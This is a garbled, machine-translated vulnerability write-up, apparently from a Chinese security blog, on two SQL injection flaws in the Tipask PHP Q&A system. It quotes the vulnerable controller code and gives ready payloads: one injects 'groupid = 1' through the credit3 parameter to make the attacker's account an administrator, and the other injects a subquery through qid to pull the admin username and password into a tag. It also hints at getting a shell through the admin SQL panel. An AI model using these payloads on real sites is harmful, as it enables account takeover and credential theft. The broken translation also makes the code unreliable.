0x001 frontier
The Tipask Q & A system is an open-source PHP imitation Baidu Knows program. Taking Chinese people's usage habits as the design concept and adopting the MVC Architecture, the system features high speed, SEO friendliness, and simple and bright interface operations.
0x002 vulnerability 1
In control/question. php row 548
Function onanswercomment ()
{
If
(Isset ($ this-> post ['credit3'])
{
$ This-> load ("answer_comment ");
// Check the charm Value
(Intval ($ this-> user ['credit3'])
<$ This-> setting ['Allow _ credit3 '])
& $ This-> message ("You are too attractive to answer. If you have any questions, contact the Administrator! ",
'Back ');
If
($ This-> post ['credit3']
& Trim ($ this-> post ['content'])
{
If
($ _ ENV ['answer _ comment']-> get_by_uid ($ this-> user ['uid'], $ this-> post ['aid '])
{
$ This-> message ("You have commented on the answer and cannot repeat the comment! ",
'Back ');
Exit;
}
$ _ ENV ['answer _ comment']-> add ($ this-> post ['id'], trim ($ this-> post ['content']), $ this-> post ['credit3']);
// Handle the charm of the operator
$ This-> credit ($ this-> post ['touid'],
0,
0, $ this-> post ['credit3']);
$ This-> send ($ this-> post ['touid'], $ this-> post ['qid'],
3, $ this-> post ['aid ']);
$ Viewurl = urlmap ('Question/view /'
. $ This-> post ['qid'],
2 );
$ This-> message ("the answer is commented! ", $ Viewurl );
}
}
} Here
Here, $ this-> credit ($ this-> post ['touid'], 0, 0, $ this-> post ['credit3']); tracking
Row 173 in control/base. class. php
Function credit ($ uid, $ credit1, $ credit2 = 0, $ credit3 = 0, $ operation = '')
{
If
(! $ Operation)
$ Operation = $ this-> get [0]
.
'/'
. $ This-> get [1]; // Add a user login only once
If
($ Operation =
'User/login'
& $ This-> db-> result_first ("SELECT uid FROM"
. DB_TABLEPRE.
"Credit WHERE uid = $ uid AND operation = 'user/login' AND time> ="
. Strtotime (date ("Y-m-d "))))
{
Return
False;
}
$ This-> db-> query ("insert"
. DB_TABLEPRE.
"Credit (uid, time, operation, credit1, credit2) VALUES ($ uid, {$ this-> time}, '$ operation', $ credit1, $ credit2 )");
$ This-> db-> query ("UPDATE"
. DB_TABLEPRE.
"User SET credit2 = credit2 + $ credit2, credit1 = credit1 + $ credit1, credit3 = credit3 + $ credit3 WHERE uid = $ uid ");
Echo "UPDATE"
. DB_TABLEPRE.
"User SET credit2 = credit2 + $ credit2, credit1 = credit1 + $ credit1, credit3 = credit3 + $ credit3 WHERE uid = $ uid ";
If
(2
==$ This-> user ['grouptype '])
{
$ Currentcredit1 = $ this-> user ['credit1']
+ $ Credit1;
$ Usergroup = $ this-> db-> fetch_first ("SELECT g. groupid FROM"
. DB_TABLEPRE.
"Usergroup g WHERE g. 'grouptype '= 2 AND $ currentcredit1> = g. creditslower order by g. creditslower desc limit"); // you can determine whether the upgrade is required.
If
(Is_array ($ usergroup)
&&
($ This-> user ['groupid']
! = $ Usergroup ['groupid'])
{
$ Groupid = $ usergroup ['groupid'];
$ This-> db-> query ("UPDATE"
. DB_TABLEPRE.
"User SET groupid = $ groupid WHERE uid = $ uid ");
}
}
}
Here, $ this-> db-> query ("UPDATE ". DB_TABLEPRE. "user SET credit2 = credit2 + $ credit2, credit1 = credit1 + $ credit1, credit3 = credit3 + $ credit3 WHERE uid = $ uid ");
$ Credit3 is directly transmitted without filtering, and the table corresponding to this is the user table, which stores the user name and password
The users in this table include administrators. The difference between administrators and ordinary levels is determined by a groupid. If the groupid is set to 1, it indicates the administrator. However, if $ credit3 is not filtered out, we can modify this value to the Administrator path. If we insert the value of credit3 to 1, groupid = 1 order by regtime desc limit 1 # What do you think it has changed? Is that the following sentence?
UPDATE ask_user SET credit2 = credit2 + 0, credit1 = credit1 + 0, credit3 = credit3 + 1, groupid = 1 order by regtime desc limit 1 # WHERE uid = 3
In this way, our current user is changed to the Administrator.
0x002 vulnerability 2
$ Qid in row 472 in control/question. php is not filtered.
Function onedittag () {$ tag = trim ($ this-> post ['tag']); $ qid = $ this-> post ['qid']; // echo $ qid; $ viewurl = urlmap ("question/view/$ qid", 2); $ message = $ tag? "Tag modified successfully! ":" The tag cannot be blank! "; $ Tag & $ _ ENV ['tag']-> multi_add (explode (" ", $ tag), $ qid); $ this-> message ($ message, $ viewurl );}
We track this multi_add function.
In tag. class. php, find
function multi_add($namelist, $qid=0){if(empty($namelist))returnfalse; $namestr ="'". implode("','", $namelist)."'";//echo $namestr; $this->db->query("DELETE FROM ". DB_TABLEPRE ."question_tag WHERE tname NOT IN ($namestr) AND qid=$qid");//mysql_query("DELETE FROM " . DB_TABLEPRE . "question_tag WHERE tname NOT IN ($namestr) AND qid=$qid");foreach($namelist as $name){if(!$name)continue; $tag = $this->get_by_name($name);if($tag){//echo 'INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')"; $this->db->query('INSERT INTO `'. DB_TABLEPRE ."question_tag`(`tid`,`qid`,`tname`) values (". $tag['id'].",$qid,'$name')");//echo 'INSERT INTO `' . DB_TABLEPRE . "question_tag`(`tid`,`qid`,`tname`) values (" . $tag['id'] . ",$qid,'$name')"; $this->db->query('UPDATE `'. DB_TABLEPRE ."tag` SET questions=questions+1 WHERE name='$name'");}else{ $letter = substr(getpinyin(cutstr($name,4,''),1),0,1); $this->db->query('INSERT INTO `'. DB_TABLEPRE ."tag`(`letter`,`name`,`questions`) values ('$letter','$name',1)"); $this->db->query('INSERT INTO `'. DB_TABLEPRE ."question_tag`(`tid`,`qid`,`tname`) values (". $this->db->insert_id().",$qid,'$name')");}}}
In this sentence $ this-> db-> query ('insert ''. DB_TABLEPRE. "question_tag '('tid', 'qid', 'tname') values (". $ tag ['id']. ", $ qid, '$ name')"); $ qid can be controlled. If we modify it as follows? Set the value of $ qid to 5035, (select concat (username, 0x3a, password) from ask_user where uid = 1 ), (
What is it like?
Insert into 'Ask _ question_tag '('tid', 'qid', 'tname') values (47,5035, (select concat (username, 0x3a, password) from ask_user where uid = 1), (239,5555, 'is equivalent ')
However, because the default length of the tname field is 20, substring is used. Therefore, the account and password must be obtained twice.
10, (select substring (concat (username, 0x3a, password),) from ask_user where uid = 1), (239,5555
Therefore, two interceptions are required separately.
0x003 Summary
In fact, this cms has a lot of problems, and many of them are not filtered out.
Shell is also a little tricky in the background. The background has a place to execute SQL statements. So if you want to use shell, you must root it before you can get it.
Add a group if you like to study it together, QQ group: 62512676